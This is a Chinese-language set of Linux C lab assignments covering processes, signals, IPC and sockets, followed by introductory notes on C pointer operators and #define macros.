阅读基础篇、进程控制、信号等章节的相关参考资料,分析示例程序代码,熟悉实验环境,用 C 语言编写实现包含以下四个要求的程序。

  • 编译使用 make 工具;
    代码使用 fork 函数;
    代码使用 exec 函数;
    代码使用 signal 函数或 sigaction 函数

Ⅱ 进程通信

2.1 题目

阅读参考资料,分析示例程序代码,用 C 语言编程实现以下要求。

  • 编写程序自选某种本地进程间通信机制实现:

    ——客户端进程与服务器端进程之间信息的发送接收。

Ⅲ 网络编程及文件操作

3.1 题目

阅读参考资料,分析示例程序代码,用 C 语言编程实现以下要求。

  • 使用套接口通信机制实现客户端进程与服务器端进程之间信息的发送接收;
  • 并利用文件 I/O 操作读取及保存信息的发送接收。

Ⅳ 综合应用

4.1 题目

分析示例程序代码,自由选定应用背景,用 C 语言编程实现 以下要求。

  • 模拟一个有应用背景的客户端、服务器交互类应用。
  • 系统要求人机交互友好,便于演示和理解。系统实现可在使 用 c 语言和 linux 系统调用的基础上允许增加其他非 c 语言功能。
  • 如程序功能较复杂,代码量大可团队 2-3 人一起合作完成,但要 分工明确,各自承担工作量饱满,组员之间实验报告内容不允许 重复。

C 语言

Ⅰ 语法

  1. 地址运算符

    (1)取址运算符& —— 用来取得其操作数的地址。

    如果操作数 x 的类型为 T,则表达式 &x 的类型是 T 类型指针(指向 T 的指针)。

    • 取址运算符的操作数必须是在内存中可寻址到的地址。
    • 换句话说,该运算符只能用于函数或对象(例如左值),而不可以用于位字段,以及那些还未被存储类修饰符 register 声明的内容。

    当需要初始化指针,以指向某些对象或函数时,需要获得这些对象或函数的地址:

    float x, *ptr;
    ptr = &x;           // 合法:使得指针ptr指向x
    ptr = &(x+1);       // 错误: (x+1) 不是一个左值
    

    (2)间接运算符 *(indirection operator),有时候也会被称为 —— 解引用运算符(dereferencing operator)。

    它的操作数必须是指针类型。

    如果 ptr 是指针,那么 *ptr 就是 ptr 所指向的对象函数

    • 如果 ptr 是一个对象指针,那么 *ptr 就是一个左值,可以把它当作赋值运算符左边的操作数:
    float x, *ptr = &x;
    *ptr = 1.7;                                      // 将1.7赋值给变量x
    ++(*ptr);                                        // 并将变量x的值加1
    
    • 如果指针操作数的值不是某个对象或函数的地址,则间接运算符 * 的操作结果无法确定。

    运算符 & 和 * 是互补的:如果 x 是一个表达式,用于指定一个对象或一个函数,那么表达式 *&x 就等于 x。相反地,在形如 &*ptr的表达式中,这些运算符会互相抵消,表达式的类型与值等效于 ptr。然而,不管 ptr 是不是左值,&*ptr 都一定不会是左值。

  2. 预处理指令

    凡是以 “#” 开头的均为 —— 预处理指令。

    • 预编译,又叫预处理。预编译不是编译,而是编译前的处理。
      • 这个操作是在正式编译之前由系统自动完成的。
      • 预编译所执行的操作就是简单的“文本”替换。替换完了之后再进行正式的编译。所以说当单击“编译”的时候实际上是执行了两个操作,即先预编译,然后才正式编译。
    • 需要注意的是,预处理指令不是语句,所以后面不能加分号。

    (1)#define

    C语言中,可以用 #define 定义一个标识符来表示一个常量。

    • 其特点是:定义的标识符不占内存,只是一个临时的符号,预编译后这个符号就不存在了。

    • #define 又称宏定义,标识符为所定义的宏名,简称宏。

      • 一经定义,程序中就可以直接用标识符来表示这个常量。
        区分:变量名表示的是一个变量,但宏名表示的是一个常量。可以给变量赋值,但绝不能给常量赋值。

      • 宏定义最大的好处是 —— “方便程序的修改”。

        对宏定义而言,预编译的时候会将程序中所有出现“标识符”的地方全部用这个“常量”替换,称为“宏替换”或“宏展开”。

    用 #define 定义标识符的一般形式为:

    #define  标识符  常量   //注意, 最后没有分号
    

    define 的作用域为自 #define 那一行起到源程序结束。如果要终止其作用域可以使用 #undef 命令,格式为:

    #undef  标识符
    

    (2)#include

Ⅱ 编程

你可能感兴趣的:(计算机专业课程,linux,c语言,c++)